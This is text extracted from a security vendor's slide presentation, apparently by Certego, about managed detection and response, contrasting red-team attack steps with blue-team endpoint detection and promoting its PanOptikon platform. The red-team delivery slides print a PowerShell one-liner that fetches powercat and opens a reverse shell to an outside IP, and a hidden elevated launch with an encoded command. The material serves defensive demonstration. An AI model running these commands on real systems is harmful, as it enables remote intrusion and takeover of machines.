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Next-Generation MDR e Telemetria: best practice di protezione avanzata
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Cloud Delivered Managed Detection & Response Services (MDR)
based on property (traduzione corretta?) Security Orchestration Platform
for Incident Response Coordination and Threat Intelligence.

+185
Clients

Modena
Headquarter

2013 – Foundation: since then, we have been focused on :

2023 +10K
Incidents managed per year (2022)

Who is Certego?
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Kill Chain – A Red Team Perspective

Reconnaissance Delivery Installation

Weaponization Exploitation Command & Control

Post-Exploitation
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Preparation Hours to Months

Intrusion

Active Breach

Seconds

Hours to Years

Domanain, subdomani, harvesting e-mail addr., …

Exploit, payload, backdoor, …

E-mail, SMS, USB, …

Exploit a vulnerability to execute code on target machine

Installing malware on the asset

Command channel for remote manipulation of target’s system

Exfiltration, gathering information, …

Kill Chain – A Red Team Perspective
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Endpoint Detection & Response

Process Analysis & Timeline

Continuous Monitoring

Custom Signatures

Response capabilities

Scalable Registry 
Modifications

File Modifications File Executions

Copy of every 
Executed Binary

Network 
Connections
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Endpoint Detection & Response

Process Analysis & Timeline

Continuous Monitoring

Custom Signatures

Response capabilities

Scalable
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Real world scenario
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Real world scenario
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Real world scenario
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Real world scenario

C2C
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Real world scenario

06

C2C

UAC Bypass

Credential Access

Persistence (backdoor)
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Real world scenario
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Real world scenario

06

C2C

UAC Bypass

Credential Access

Persistence (backdoor)

MDR Service – SOC Analysts
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Delivery and Execution – Red Team perspective

IEX (New-Obiect Svstem.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’); powercat –c 54.154.58.12 –
p 1337 –e powershell
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Delivery and Execution – Red Team perspective

powershell Start-Process powershell –Verb runas –WindowStyle hidden –ArgumentList ‘-NoProfile’,’
-EncodeCommand’,’SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAАНКAcuBeAGUAb…(omissis)…’
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Delivery and Execution – Red Team perspective
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Delivery and Execution – Red Team perspective
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Delivery and Execution – Red Team perspective
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Delivery and Execution – Red Team perspective
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Delivery and Execution – Red Team perspective



26

Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective



28

Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective
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Delivery and Execution – Blue Team perspective
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Credential Access – Red Team perspective
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Credential Access – Red Team perspective
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Credential Access – Red Team perspective
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Credential Access – Red Team perspective



Credential Access – Red Team perspective



Credential Access – Blue Team perspective
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Credential Access – Blue Team perspective



Credential Access – Blue Team perspective



Certego – PanOptikon Platform

DETECTION MODULES

PanOptikon® Security Orchestration Automation & Response Platform
DETECT – VALIDATE - RESPOND

THREAT INTELLIGENCE MODULES

RESPONSE MODULES
NETWORK DETECTION
Raw traffic & Logs

ENDPOINT DETECTION
Process monitoring

NATIVE CLOUD PROTECTION
IaaS & SaaS

CONTINUOUS
VULNERABILITY ASSESSMENT 

DARK WEB SCANNER

EARLY WARNING 
CVE Alert

TARGETED CYBER 
THREAT INTELLIGENCE

THREAT INTEL IOC FEEDS 

THREAT INTEL CONSOLE

TACTICAL RESPONSE - NETWORK

TACTICAL RESPONSE - ENDPOINT

ITSM INTEGRATION



Certego – PanOptikon Platform



Certego – PanOptikon Platform
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Q&A
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VIENI A TROVARCI AL NOSTRO STAND!

CONTATTI:
INFO@CERTEGO.NET

A.DICARLO@CERTEGO.NET

mailto:info@certego.net
mailto:a.dicarlo@certego.net

